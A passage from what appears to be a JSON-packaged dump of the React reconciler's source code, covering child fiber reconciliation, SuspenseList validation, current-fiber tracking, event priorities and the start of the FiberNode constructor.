null,\n        // boolean, undefined, etc.\n        if (oldFiber === null) {\n          oldFiber = nextOldFiber;\n        }\n        break;\n      }\n\n      if (__DEV__) {\n        knownKeys = warnOnInvalidKey(\n          returnFiber,\n          newFiber,\n          step.value,\n          knownKeys,\n        );\n      }\n\n      if (shouldTrackSideEffects) {\n        if (oldFiber && newFiber.alternate === null) {\n          // We matched the slot, but we didn't reuse the existing fiber, so we\n          // need to delete the existing child.\n          deleteChild(returnFiber, oldFiber);\n        }\n      }\n      lastPlacedIndex = placeChild(newFiber, lastPlacedIndex, newIdx);\n      if (previousNewFiber === null) {\n        // TODO: Move out of the loop. This only happens for the first run.\n        resultingFirstChild = newFiber;\n      } else {\n        // TODO: Defer siblings if we're not at the right index for this slot.\n        // I.e. if we had null values before, then we want to defer this\n        // for each null value. However, we also don't want to call updateSlot\n        // with the previous one.\n        previousNewFiber.sibling = newFiber;\n      }\n      previousNewFiber = newFiber;\n      oldFiber = nextOldFiber;\n    }\n\n    if (step.done) {\n      // We've reached the end of the new children. We can delete the rest.\n      deleteRemainingChildren(returnFiber, oldFiber);\n      if (getIsHydrating()) {\n        const numberOfForks = newIdx;\n        pushTreeFork(returnFiber, numberOfForks);\n      }\n      return resultingFirstChild;\n    }\n\n    if (oldFiber === null) {\n      // If we don't have any more existing children we can choose a fast path\n      // since the rest will all be insertions.\n      for (; !step.done; newIdx++, step = newChildren.next()) {\n        const newFiber = createChild(returnFiber, step.value, lanes);\n        if (newFiber === null) {\n          continue;\n        }\n        if (__DEV__) {\n          knownKeys = warnOnInvalidKey(\n            returnFiber,\n            newFiber,\n            step.value,\n            knownKeys,\n          );\n        }\n        lastPlacedIndex = placeChild(newFiber, lastPlacedIndex, newIdx);\n        if (previousNewFiber === null) {\n          // TODO: Move out of the loop. This only happens for the first run.\n          resultingFirstChild = newFiber;\n        } else {\n          previousNewFiber.sibling = newFiber;\n        }\n        previousNewFiber = newFiber;\n      }\n      if (getIsHydrating()) {\n        const numberOfForks = newIdx;\n        pushTreeFork(returnFiber, numberOfForks);\n      }\n      return resultingFirstChild;\n    }\n\n    // Add all children to a key map for quick lookups.\n    const existingChildren = mapRemainingChildren(oldFiber);\n\n    // Keep scanning and use the map to restore deleted items as moves.\n    for (; !step.done; newIdx++, step = newChildren.next()) {\n      const newFiber = updateFromMap(\n        existingChildren,\n        returnFiber,\n        newIdx,\n        step.value,\n        lanes,\n      );\n      if (newFiber !== null) {\n        if (__DEV__) {\n          knownKeys = warnOnInvalidKey(\n            returnFiber,\n            newFiber,\n            step.value,\n            knownKeys,\n          );\n        }\n        if (shouldTrackSideEffects) {\n          const currentFiber = newFiber.alternate;\n          if (currentFiber !== null) {\n            // The new fiber is a work in progress, but if there exists a\n            // current, that means that we reused the fiber. We need to delete\n            // it from the child list so that we don't add it to the deletion\n            // list.\n            if (\n              enableOptimisticKey &&\n              currentFiber.key === REACT_OPTIMISTIC_KEY\n            ) {\n              existingChildren.delete(-newIdx - 1);\n            } else {\n              existingChildren.delete(\n                currentFiber.key === null ? newIdx : currentFiber.key,\n              );\n            }\n          }\n        }\n        lastPlacedIndex = placeChild(newFiber, lastPlacedIndex, newIdx);\n        if (previousNewFiber === null) {\n          resultingFirstChild = newFiber;\n        } else {\n          previousNewFiber.sibling = newFiber;\n        }\n        previousNewFiber = newFiber;\n      }\n    }\n\n    if (shouldTrackSideEffects) {\n      // Any existing children that weren't consumed above were deleted. We need\n      // to add them to the deletion list.\n      existingChildren.forEach(child => deleteChild(returnFiber, child));\n    }\n\n    if (getIsHydrating()) {\n      const numberOfForks = newIdx;\n      pushTreeFork(returnFiber, numberOfForks);\n    }\n    return resultingFirstChild;\n  }\n\n  function reconcileSingleTextNode(\n    returnFiber: Fiber,\n    currentFirstChild: Fiber | null,\n    textContent: string,\n    lanes: Lanes,\n  ): Fiber {\n    // There's no need to check for keys on text nodes since we don't have a\n    // way to define them.\n    if (currentFirstChild !== null && currentFirstChild.tag === HostText) {\n      // We already have an existing node so let's just update it and delete\n      // the rest.\n      deleteRemainingChildren(returnFiber, currentFirstChild.sibling);\n      const existing = useFiber(currentFirstChild, textContent);\n      existing.return = returnFiber;\n      return existing;\n    }\n    // The existing first child is not a text node so we need to create one\n    // and delete the existing ones.\n    deleteRemainingChildren(returnFiber, currentFirstChild);\n    const created = createFiberFromText(textContent, returnFiber.mode, lanes);\n    created.return = returnFiber;\n    if (__DEV__) {\n      // We treat the parent as the owner for stack purposes.\n      created._debugOwner = returnFiber;\n      created._debugTask = returnFiber._debugTask;\n      created._debugInfo = currentDebugInfo;\n    }\n    return created;\n  }\n\n  function reconcileSingleElement(\n    returnFiber: Fiber,\n    currentFirstChild: Fiber | null,\n    element: ReactElement,\n    lanes: Lanes,\n  ): Fiber {\n    const key = element.key;\n    let child = currentFirstChild;\n    while (child !== null) {\n      // TODO: If key === null and child.key === null, then this only applies to\n      // the first item in the list.\n      if (\n        child.key === key ||\n        (enableOptimisticKey && child.key === REACT_OPTIMISTIC_KEY)\n      ) {\n        const elementType = element.type;\n        if (elementType === REACT_FRAGMENT_TYPE) {\n          if (child.tag === Fragment) {\n            deleteRemainingChildren(returnFiber, child.sibling);\n            const existing = useFiber(child, element.props.children);\n            if (enableOptimisticKey) {\n              // If the old key was optimistic we need to now save the real one.\n              existing.key = key;\n            }\n            if (enableFragmentRefs) {\n              coerceRef(existing, element);\n            }\n            existing.return = returnFiber;\n            if (__DEV__) {\n              existing._debugOwner = element._owner;\n              existing._debugInfo = currentDebugInfo;\n            }\n            validateFragmentProps(element, existing, returnFiber);\n            return existing;\n          }\n        } else {\n          if (\n            child.elementType === elementType ||\n            // Keep this check inline so it only runs on the false path:\n            (__DEV__\n              ? isCompatibleFamilyForHotReloading(child, element)\n              : false) ||\n            // Lazy types should reconcile their resolved type.\n            // We need to do this after the Hot Reloading check above,\n            // because hot reloading has different semantics than prod because\n            // it doesn't resuspend. So we can't let the call below suspend.\n            (typeof elementType === 'object' &&\n              elementType !== null &&\n              elementType.$$typeof === REACT_LAZY_TYPE &&\n              resolveLazy(elementType) === child.type)\n          ) {\n            deleteRemainingChildren(returnFiber, child.sibling);\n            const existing = useFiber(child, element.props);\n            if (enableOptimisticKey) {\n              // If the old key was optimistic we need to now save the real one.\n              existing.key = key;\n            }\n            coerceRef(existing, element);\n            existing.return = returnFiber;\n            if (__DEV__) {\n              existing._debugOwner = element._owner;\n              existing._debugInfo = currentDebugInfo;\n            }\n            return existing;\n          }\n        }\n        // Didn't match.\n        deleteRemainingChildren(returnFiber, child);\n        break;\n      } else {\n        deleteChild(returnFiber, child);\n      }\n      child = child.sibling;\n    }\n\n    if (element.type === REACT_FRAGMENT_TYPE) {\n      const created = createFiberFromFragment(\n        element.props.children,\n        returnFiber.mode,\n        lanes,\n        element.key,\n      );\n      if (enableFragmentRefs) {\n        coerceRef(created, element);\n      }\n      created.return = returnFiber;\n      if (__DEV__) {\n        // We treat the parent as the owner for stack purposes.\n        created._debugOwner = returnFiber;\n        created._debugTask = returnFiber._debugTask;\n        created._debugInfo = currentDebugInfo;\n      }\n      validateFragmentProps(element, created, returnFiber);\n      return created;\n    } else {\n      const created = createFiberFromElement(element, returnFiber.mode, lanes);\n      coerceRef(created, element);\n      created.return = returnFiber;\n      if (__DEV__) {\n        created._debugInfo = currentDebugInfo;\n      }\n      return created;\n    }\n  }\n\n  function reconcileSinglePortal(\n    returnFiber: Fiber,\n    currentFirstChild: Fiber | null,\n    portal: ReactPortal,\n    lanes: Lanes,\n  ): Fiber {\n    const key = portal.key;\n    let child = currentFirstChild;\n    while (child !== null) {\n      // TODO: If key === null and child.key === null, then this only applies to\n      // the first item in the list.\n      if (\n        child.key === key ||\n        (enableOptimisticKey && child.key === REACT_OPTIMISTIC_KEY)\n      ) {\n        if (\n          child.tag === HostPortal &&\n          child.stateNode.containerInfo === portal.containerInfo &&\n          child.stateNode.implementation === portal.implementation\n        ) {\n          deleteRemainingChildren(returnFiber, child.sibling);\n          const existing = useFiber(child, portal.children || []);\n          if (enableOptimisticKey) {\n            // If the old key was optimistic we need to now save the real one.\n            existing.key = key;\n          }\n          existing.return = returnFiber;\n          return existing;\n        } else {\n          deleteRemainingChildren(returnFiber, child);\n          break;\n        }\n      } else {\n        deleteChild(returnFiber, child);\n      }\n      child = child.sibling;\n    }\n\n    const created = createFiberFromPortal(portal, returnFiber.mode, lanes);\n    created.return = returnFiber;\n    return created;\n  }\n\n  // This API will tag the children with the side-effect of the reconciliation\n  // itself. They will be added to the side-effect list as we pass through the\n  // children and the parent.\n  function reconcileChildFibersImpl(\n    returnFiber: Fiber,\n    currentFirstChild: Fiber | null,\n    newChild: any,\n    lanes: Lanes,\n  ): Fiber | null {\n    // This function is only recursive for Usables/Lazy and not nested arrays.\n    // That's so that using a Lazy wrapper is unobservable to the Fragment\n    // convention.\n    // If the top level item is an array, we treat it as a set of children,\n    // not as a fragment. Nested arrays on the other hand will be treated as\n    // fragment nodes. Recursion happens at the normal flow.\n\n    // Handle top level unkeyed fragments without refs (enableFragmentRefs)\n    // as if they were arrays. This leads to an ambiguity between <>{[...]}</> and <>...</>.\n    // We treat the ambiguous cases above the same.\n    // We don't use recursion here because a fragment inside a fragment\n    // is no longer considered \"top level\" for these purposes.\n    const isUnkeyedUnrefedTopLevelFragment =\n      typeof newChild === 'object' &&\n      newChild !== null &&\n      newChild.type === REACT_FRAGMENT_TYPE &&\n      newChild.key === null &&\n      (enableFragmentRefs ? newChild.props.ref === undefined : true);\n\n    if (isUnkeyedUnrefedTopLevelFragment) {\n      validateFragmentProps(newChild, null, returnFiber);\n      newChild = newChild.props.children;\n    }\n\n    // Handle object types\n    if (typeof newChild === 'object' && newChild !== null) {\n      switch (newChild.$$typeof) {\n        case REACT_ELEMENT_TYPE: {\n          const prevDebugInfo = pushDebugInfo(newChild._debugInfo);\n          const firstChild = placeSingleChild(\n            reconcileSingleElement(\n              returnFiber,\n              currentFirstChild,\n              newChild,\n              lanes,\n            ),\n          );\n          currentDebugInfo = prevDebugInfo;\n          return firstChild;\n        }\n        case REACT_PORTAL_TYPE:\n          return placeSingleChild(\n            reconcileSinglePortal(\n              returnFiber,\n              currentFirstChild,\n              newChild,\n              lanes,\n            ),\n          );\n        case REACT_LAZY_TYPE: {\n          const prevDebugInfo = pushDebugInfo(newChild._debugInfo);\n          const result = resolveLazy((newChild: any));\n          const firstChild = reconcileChildFibersImpl(\n            returnFiber,\n            currentFirstChild,\n            result,\n            lanes,\n          );\n          currentDebugInfo = prevDebugInfo;\n          return firstChild;\n        }\n      }\n\n      if (isArray(newChild)) {\n        // We created a Fragment for this child with the debug info.\n        // No need to push again.\n        const firstChild = reconcileChildrenArray(\n          returnFiber,\n          currentFirstChild,\n          newChild,\n          lanes,\n        );\n        return firstChild;\n      }\n\n      if (getIteratorFn(newChild)) {\n        // We created a Fragment for this child with the debug info.\n        // No need to push again.\n        const firstChild = reconcileChildrenIteratable(\n          returnFiber,\n          currentFirstChild,\n          newChild,\n          lanes,\n        );\n        return firstChild;\n      }\n\n      if (\n        enableAsyncIterableChildren &&\n        typeof newChild[ASYNC_ITERATOR] === 'function'\n      ) {\n        // We created a Fragment for this child with the debug info.\n        // No need to push again.\n        const firstChild = reconcileChildrenAsyncIteratable(\n          returnFiber,\n          currentFirstChild,\n          newChild,\n          lanes,\n        );\n        return firstChild;\n      }\n\n      // Usables are a valid React node type. When React encounters a Usable in\n      // a child position, it unwraps it using the same algorithm as `use`. For\n      // example, for promises, React will throw an exception to unwind the\n      // stack, then replay the component once the promise resolves.\n      //\n      // A difference from `use` is that React will keep unwrapping the value\n      // until it reaches a non-Usable type.\n      //\n      // e.g. Usable<Usable<Usable<T>>> should resolve to T\n      //\n      // The structure is a bit unfortunate. Ideally, we shouldn't need to\n      // replay the entire begin phase of the parent fiber in order to reconcile\n      // the children again. This would require a somewhat significant refactor,\n      // because reconcilation happens deep within the begin phase, and\n      // depending on the type of work, not always at the end. We should\n      // consider as an future improvement.\n      if (typeof newChild.then === 'function') {\n        const thenable: Thenable<any> = (newChild: any);\n        const prevDebugInfo = pushDebugInfo((thenable: any)._debugInfo);\n        const firstChild = reconcileChildFibersImpl(\n          returnFiber,\n          currentFirstChild,\n          unwrapThenable(thenable),\n          lanes,\n        );\n        currentDebugInfo = prevDebugInfo;\n        return firstChild;\n      }\n\n      if (newChild.$$typeof === REACT_CONTEXT_TYPE) {\n        const context: ReactContext<mixed> = (newChild: any);\n        return reconcileChildFibersImpl(\n          returnFiber,\n          currentFirstChild,\n          readContextDuringReconciliation(returnFiber, context, lanes),\n          lanes,\n        );\n      }\n\n      throwOnInvalidObjectType(returnFiber, newChild);\n    }\n\n    if (\n      (typeof newChild === 'string' && newChild !== '') ||\n      typeof newChild === 'number' ||\n      typeof newChild === 'bigint'\n    ) {\n      return placeSingleChild(\n        reconcileSingleTextNode(\n          returnFiber,\n          currentFirstChild,\n          // $FlowFixMe[unsafe-addition] Flow doesn't want us to use `+` operator with string and bigint\n          '' + newChild,\n          lanes,\n        ),\n      );\n    }\n\n    if (__DEV__) {\n      if (typeof newChild === 'function') {\n        warnOnFunctionType(returnFiber, newChild);\n      }\n      if (typeof newChild === 'symbol') {\n        warnOnSymbolType(returnFiber, newChild);\n      }\n    }\n\n    // Remaining cases are all treated as empty.\n    return deleteRemainingChildren(returnFiber, currentFirstChild);\n  }\n\n  function reconcileChildFibers(\n    returnFiber: Fiber,\n    currentFirstChild: Fiber | null,\n    newChild: any,\n    lanes: Lanes,\n  ): Fiber | null {\n    const prevDebugInfo = currentDebugInfo;\n    currentDebugInfo = null;\n    try {\n      // This indirection only exists so we can reset `thenableState` at the end.\n      // It should get inlined by Closure.\n      thenableIndexCounter = 0;\n      const firstChildFiber = reconcileChildFibersImpl(\n        returnFiber,\n        currentFirstChild,\n        newChild,\n        lanes,\n      );\n      thenableState = null;\n      // Don't bother to reset `thenableIndexCounter` to 0 because it always gets\n      // set at the beginning.\n      return firstChildFiber;\n    } catch (x) {\n      if (\n        x === SuspenseException ||\n        x === SuspenseActionException ||\n        (!disableLegacyMode &&\n          (returnFiber.mode & ConcurrentMode) === NoMode &&\n          typeof x === 'object' &&\n          x !== null &&\n          typeof x.then === 'function')\n      ) {\n        // Suspense exceptions need to read the current suspended state before\n        // yielding and replay it using the same sequence so this trick doesn't\n        // work here.\n        // Suspending in legacy mode actually mounts so if we let the child\n        // mount then we delete its state in an update.\n        throw x;\n      }\n      // Something errored during reconciliation but it's conceptually a child that\n      // errored and not the current component itself so we create a virtual child\n      // that throws in its begin phase. That way the current component can handle\n      // the error or suspending if needed.\n      const throwFiber = createFiberFromThrow(x, returnFiber.mode, lanes);\n      throwFiber.return = returnFiber;\n      if (__DEV__) {\n        const debugInfo = (throwFiber._debugInfo = currentDebugInfo);\n        // Conceptually the error's owner should ideally be captured when the\n        // Error constructor is called but we don't override them to capture our\n        // `owner`. So instead, we use the nearest parent as the owner/task of the\n        // error. This is usually the same thing when it's thrown from the same\n        // async component but not if you await a promise started from a different\n        // component/task.\n        // In newer Chrome, Error constructor does capture the Task which is what\n        // is logged by reportError. In that case this debugTask isn't used.\n        throwFiber._debugOwner = returnFiber._debugOwner;\n        throwFiber._debugTask = returnFiber._debugTask;\n        if (debugInfo != null) {\n          for (let i = debugInfo.length - 1; i >= 0; i--) {\n            if (typeof debugInfo[i].stack === 'string') {\n              throwFiber._debugOwner = (debugInfo[i]: any);\n              throwFiber._debugTask = debugInfo[i].debugTask;\n              break;\n            }\n          }\n        }\n      }\n      return throwFiber;\n    } finally {\n      currentDebugInfo = prevDebugInfo;\n    }\n  }\n\n  return reconcileChildFibers;\n}\n\nexport const reconcileChildFibers: ChildReconciler =\n  createChildReconciler(true);\nexport const mountChildFibers: ChildReconciler = createChildReconciler(false);\n\nexport function resetChildReconcilerOnUnwind(): void {\n  // On unwind, clear any pending thenables that were used.\n  thenableState = null;\n  thenableIndexCounter = 0;\n}\n\nexport function cloneChildFibers(\n  current: Fiber | null,\n  workInProgress: Fiber,\n): void {\n  if (current !== null && workInProgress.child !== current.child) {\n    throw new Error('Resuming work not yet implemented.');\n  }\n\n  if (workInProgress.child === null) {\n    return;\n  }\n\n  let currentChild = workInProgress.child;\n  let newChild = createWorkInProgress(currentChild, currentChild.pendingProps);\n  workInProgress.child = newChild;\n\n  newChild.return = workInProgress;\n  while (currentChild.sibling !== null) {\n    currentChild = currentChild.sibling;\n    newChild = newChild.sibling = createWorkInProgress(\n      currentChild,\n      currentChild.pendingProps,\n    );\n    newChild.return = workInProgress;\n  }\n  newChild.sibling = null;\n}\n\n// Reset a workInProgress child set to prepare it for a second pass.\nexport function resetChildFibers(workInProgress: Fiber, lanes: Lanes): void {\n  let child = workInProgress.child;\n  while (child !== null) {\n    resetWorkInProgress(child, lanes);\n    child = child.sibling;\n  }\n}\n\nfunction validateSuspenseListNestedChild(childSlot: mixed, index: number) {\n  if (__DEV__) {\n    const isAnArray = isArray(childSlot);\n    const isIterable =\n      !isAnArray && typeof getIteratorFn(childSlot) === 'function';\n    const isAsyncIterable =\n      enableAsyncIterableChildren &&\n      typeof childSlot === 'object' &&\n      childSlot !== null &&\n      typeof (childSlot: any)[ASYNC_ITERATOR] === 'function';\n    if (isAnArray || isIterable || isAsyncIterable) {\n      const type = isAnArray\n        ? 'array'\n        : isAsyncIterable\n          ? 'async iterable'\n          : 'iterable';\n      console.error(\n        'A nested %s was passed to row #%s in <SuspenseList />. Wrap it in ' +\n          'an additional SuspenseList to configure its revealOrder: ' +\n          '<SuspenseList revealOrder=...> ... ' +\n          '<SuspenseList revealOrder=...>{%s}</SuspenseList> ... ' +\n          '</SuspenseList>',\n        type,\n        index,\n        type,\n      );\n      return false;\n    }\n  }\n  return true;\n}\n\nexport function validateSuspenseListChildren(\n  children: mixed,\n  revealOrder: SuspenseListRevealOrder,\n) {\n  if (__DEV__) {\n    if (\n      (revealOrder == null ||\n        revealOrder === 'forwards' ||\n        revealOrder === 'backwards' ||\n        revealOrder === 'unstable_legacy-backwards') &&\n      children !== undefined &&\n      children !== null &&\n      children !== false\n    ) {\n      if (isArray(children)) {\n        for (let i = 0; i < children.length; i++) {\n          if (!validateSuspenseListNestedChild(children[i], i)) {\n            return;\n          }\n        }\n      } else {\n        const iteratorFn = getIteratorFn(children);\n        if (typeof iteratorFn === 'function') {\n          const childrenIterator = iteratorFn.call(children);\n          if (childrenIterator) {\n            let step = childrenIterator.next();\n            let i = 0;\n            for (; !step.done; step = childrenIterator.next()) {\n              if (!validateSuspenseListNestedChild(step.value, i)) {\n                return;\n              }\n              i++;\n            }\n          }\n        } else if (\n          enableAsyncIterableChildren &&\n          typeof (children: any)[ASYNC_ITERATOR] === 'function'\n        ) {\n          // TODO: Technically we should warn for nested arrays inside the\n          // async iterable but it would require unwrapping the array.\n          // However, this mistake is not as easy to make so it's ok not to warn.\n        } else if (\n          enableAsyncIterableChildren &&\n          children.$$typeof === REACT_ELEMENT_TYPE &&\n          typeof children.type === 'function' &&\n          // $FlowFixMe\n          (Object.prototype.toString.call(children.type) ===\n            '[object GeneratorFunction]' ||\n            // $FlowFixMe\n            Object.prototype.toString.call(children.type) ===\n              '[object AsyncGeneratorFunction]')\n        ) {\n          console.error(\n            'A generator Component was passed to a <SuspenseList revealOrder=\"%s\" />. ' +\n              'This is not supported as a way to generate lists. Instead, pass an ' +\n              'iterable as the children.',\n            revealOrder,\n          );\n        } else {\n          console.error(\n            'A single row was passed to a <SuspenseList revealOrder=\"%s\" />. ' +\n              'This is not useful since it needs multiple rows. ' +\n              'Did you mean to pass multiple children or an array?',\n            revealOrder,\n          );\n        }\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactCurrentFiber.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Fiber} from './ReactInternalTypes';\n\nimport ReactSharedInternals from 'shared/ReactSharedInternals';\nimport {getOwnerStackByFiberInDev} from './ReactFiberComponentStack';\nimport {getComponentNameFromOwner} from 'react-reconciler/src/getComponentNameFromFiber';\n\nexport let current: Fiber | null = null;\nexport let isRendering: boolean = false;\n\nexport function getCurrentFiberOwnerNameInDevOrNull(): string | null {\n  if (__DEV__) {\n    if (current === null) {\n      return null;\n    }\n    const owner = current._debugOwner;\n    if (owner != null) {\n      return getComponentNameFromOwner(owner);\n    }\n  }\n  return null;\n}\n\nfunction getCurrentFiberStackInDev(): string {\n  if (__DEV__) {\n    if (current === null) {\n      return '';\n    }\n    // Safe because if current fiber exists, we are reconciling,\n    // and it is guaranteed to be the work-in-progress version.\n    // TODO: The above comment is not actually true. We might be\n    // in a commit phase or preemptive set state callback.\n    return getOwnerStackByFiberInDev(current);\n  }\n  return '';\n}\n\nexport function runWithFiberInDEV<A0, A1, A2, A3, A4, T>(\n  fiber: null | Fiber,\n  callback: (A0, A1, A2, A3, A4) => T,\n  arg0: A0,\n  arg1: A1,\n  arg2: A2,\n  arg3: A3,\n  arg4: A4,\n): T {\n  if (__DEV__) {\n    const previousFiber = current;\n    setCurrentFiber(fiber);\n    try {\n      if (fiber !== null && fiber._debugTask) {\n        return fiber._debugTask.run(\n          callback.bind(null, arg0, arg1, arg2, arg3, arg4),\n        );\n      }\n      return callback(arg0, arg1, arg2, arg3, arg4);\n    } finally {\n      setCurrentFiber(previousFiber);\n    }\n  }\n  // These errors should never make it into a build so we don't need to encode them in codes.json\n  // eslint-disable-next-line react-internal/prod-error-codes\n  throw new Error(\n    'runWithFiberInDEV should never be called in production. This is a bug in React.',\n  );\n}\n\nexport function resetCurrentFiber() {\n  if (__DEV__) {\n    ReactSharedInternals.getCurrentStack = null;\n    isRendering = false;\n  }\n  current = null;\n}\n\nexport function setCurrentFiber(fiber: Fiber | null) {\n  if (__DEV__) {\n    ReactSharedInternals.getCurrentStack =\n      fiber === null ? null : getCurrentFiberStackInDev;\n    isRendering = false;\n  }\n  current = fiber;\n}\n\nexport function setIsRendering(rendering: boolean) {\n  if (__DEV__) {\n    isRendering = rendering;\n  }\n}\n\nexport function getIsRendering(): void | boolean {\n  if (__DEV__) {\n    return isRendering;\n  }\n}\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactEventPriorities.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Lane, Lanes} from './ReactFiberLane';\n\nimport {\n  NoLane,\n  SyncLane,\n  InputContinuousLane,\n  DefaultLane,\n  IdleLane,\n  getHighestPriorityLane,\n  includesNonIdleWork,\n} from './ReactFiberLane';\n\nexport opaque type EventPriority = Lane;\n\nexport const NoEventPriority: EventPriority = NoLane;\nexport const DiscreteEventPriority: EventPriority = SyncLane;\nexport const ContinuousEventPriority: EventPriority = InputContinuousLane;\nexport const DefaultEventPriority: EventPriority = DefaultLane;\nexport const IdleEventPriority: EventPriority = IdleLane;\n\nexport function higherEventPriority(\n  a: EventPriority,\n  b: EventPriority,\n): EventPriority {\n  return a !== 0 && a < b ? a : b;\n}\n\nexport function lowerEventPriority(\n  a: EventPriority,\n  b: EventPriority,\n): EventPriority {\n  return a === 0 || a > b ? a : b;\n}\n\nexport function isHigherEventPriority(\n  a: EventPriority,\n  b: EventPriority,\n): boolean {\n  return a !== 0 && a < b;\n}\n\nexport function eventPriorityToLane(updatePriority: EventPriority): Lane {\n  return updatePriority;\n}\n\nexport function lanesToEventPriority(lanes: Lanes): EventPriority {\n  const lane = getHighestPriorityLane(lanes);\n  if (!isHigherEventPriority(DiscreteEventPriority, lane)) {\n    return DiscreteEventPriority;\n  }\n  if (!isHigherEventPriority(ContinuousEventPriority, lane)) {\n    return ContinuousEventPriority;\n  }\n  if (includesNonIdleWork(lane)) {\n    return DefaultEventPriority;\n  }\n  return IdleEventPriority;\n}\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactFiber.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactElement} from 'shared/ReactElementType';\nimport type {\n  ReactFragment,\n  ReactPortal,\n  ReactScope,\n  ViewTransitionProps,\n  ActivityProps,\n  ReactKey,\n} from 'shared/ReactTypes';\nimport type {Fiber} from './ReactInternalTypes';\nimport type {RootTag} from './ReactRootTags';\nimport type {WorkTag} from './ReactWorkTags';\nimport type {TypeOfMode} from './ReactTypeOfMode';\nimport type {Lanes} from './ReactFiberLane';\nimport type {ActivityInstance, SuspenseInstance} from './ReactFiberConfig';\nimport type {\n  LegacyHiddenProps,\n  OffscreenProps,\n} from './ReactFiberOffscreenComponent';\nimport type {ViewTransitionState} from './ReactFiberViewTransitionComponent';\nimport type {TracingMarkerInstance} from './ReactFiberTracingMarkerComponent';\n\nimport {\n  supportsResources,\n  supportsSingletons,\n  isHostHoistableType,\n  isHostSingletonType,\n} from './ReactFiberConfig';\nimport {\n  enableProfilerTimer,\n  enableScopeAPI,\n  enableLegacyHidden,\n  enableTransitionTracing,\n  disableLegacyMode,\n  enableObjectFiber,\n  enableViewTransition,\n  enableSuspenseyImages,\n  enableOptimisticKey,\n} from 'shared/ReactFeatureFlags';\nimport {NoFlags, Placement, StaticMask} from './ReactFiberFlags';\nimport {ConcurrentRoot} from './ReactRootTags';\nimport {\n  ClassComponent,\n  HostRoot,\n  HostComponent,\n  HostText,\n  HostPortal,\n  HostHoistable,\n  HostSingleton,\n  ForwardRef,\n  Fragment,\n  Mode,\n  ContextProvider,\n  ContextConsumer,\n  Profiler,\n  SuspenseComponent,\n  SuspenseListComponent,\n  DehydratedFragment,\n  FunctionComponent,\n  MemoComponent,\n  SimpleMemoComponent,\n  LazyComponent,\n  ScopeComponent,\n  OffscreenComponent,\n  LegacyHiddenComponent,\n  TracingMarkerComponent,\n  Throw,\n  ViewTransitionComponent,\n  ActivityComponent,\n} from './ReactWorkTags';\nimport {getComponentNameFromOwner} from 'react-reconciler/src/getComponentNameFromFiber';\nimport {isDevToolsPresent} from './ReactFiberDevToolsHook';\nimport {\n  resolveClassForHotReloading,\n  resolveFunctionForHotReloading,\n  resolveForwardRefForHotReloading,\n} from './ReactFiberHotReloading';\nimport {NoLanes} from './ReactFiberLane';\nimport {\n  NoMode,\n  ConcurrentMode,\n  ProfileMode,\n  StrictLegacyMode,\n  StrictEffectsMode,\n  SuspenseyImagesMode,\n} from './ReactTypeOfMode';\nimport {\n  REACT_FORWARD_REF_TYPE,\n  REACT_FRAGMENT_TYPE,\n  REACT_STRICT_MODE_TYPE,\n  REACT_PROFILER_TYPE,\n  REACT_CONTEXT_TYPE,\n  REACT_CONSUMER_TYPE,\n  REACT_SUSPENSE_TYPE,\n  REACT_SUSPENSE_LIST_TYPE,\n  REACT_MEMO_TYPE,\n  REACT_LAZY_TYPE,\n  REACT_SCOPE_TYPE,\n  REACT_LEGACY_HIDDEN_TYPE,\n  REACT_TRACING_MARKER_TYPE,\n  REACT_ELEMENT_TYPE,\n  REACT_VIEW_TRANSITION_TYPE,\n  REACT_ACTIVITY_TYPE,\n} from 'shared/ReactSymbols';\nimport {TransitionTracingMarker} from './ReactFiberTracingMarkerComponent';\nimport {getHostContext} from './ReactFiberHostContext';\nimport type {ReactComponentInfo} from '../../shared/ReactTypes';\nimport isArray from 'shared/isArray';\nimport getComponentNameFromType from 'shared/getComponentNameFromType';\n\nexport type {Fiber};\n\nlet hasBadMapPolyfill;\n\nif (__DEV__) {\n  hasBadMapPolyfill = false;\n  try {\n    const nonExtensibleObject = Object.preventExtensions({});\n    // eslint-disable-next-line no-new\n    new Map([[nonExtensibleObject, null]]);\n    // eslint-disable-next-line no-new\n    new Set([nonExtensibleObject]);\n  } catch (e) {\n    // TODO: Consider warning about bad polyfills\n    hasBadMapPolyfill = true;\n  }\n}\n\nfunction FiberNode(\n  this: $FlowFixMe,\n  tag: WorkTag,\n  pendingProps: mixed,\n  key: ReactKey,\n  mode: TypeOfMode,\n) {\n  // Instance\n  this.tag = tag;\n  this.key = key;\n  this.elementType = null;\n  this.type = null;\n  this.stateNode = null;\n\n  // Fiber\n  this.return = null;\n  this.child = null;\n  this.sibling = null;\n  this.index = 0;\n\n  this.ref = null;\n  this.refCleanup = null;\n\n  this.pendingProps = pendingProps;\n  this.memoizedProps = null;\n  this.updateQueue = null;\n  this.memoizedState = null;\n  this.dependencies = null;\n\n  this.mode = mode;\n\n  // Effects\n  this.flags = NoFlags;\n  this.subtreeFlags = NoFlags;\n  this.deletions = null;\n\n  this.lanes = NoLanes;\n  this.childLanes = NoLanes;\n\n  this.alternate = null;\n\n  if (enableProfilerTimer) {\n    // Note: The following is done to avoid a v8 performance cliff.\n    //\n    // Initializing the fields below to smis and later updating them with\n    // double values will cause Fibers to end up having separate shapes.\n    // This behavior/bug has something to do with Object.preventExtension().\n    // Fortunately this only impacts DEV builds.\n    // Unfortunately it makes React unusably slow for some applications.\n    // To work around this, initialize the fields below with doubles.\n    //\n    // Learn more about this here:\n    // https://github.com/facebook/react/issues/14365\n    // https://bugs.chromium.org/p/v8/issues/detail?id=8538\n\n    this.actualDuration = -0;\n    this.actualStartTime = -1.1;\n    this.selfBaseDuration = -0;\n    this.treeBaseDuration = -0;\n  }\n\n  if (__DEV__) {\n    // This isn't directly used but is handy for debugging internals:\n    this._debugInfo = null;\n    this._debugOwner = null;\n    this._debugStack = null;\n    this._debugTask = null;\n    this._debugNeedsRemount = false;\n    this._debugHookTypes = null;\n    if (!hasBadMapPolyfill && typeof Object.preventExtensions === 'function') 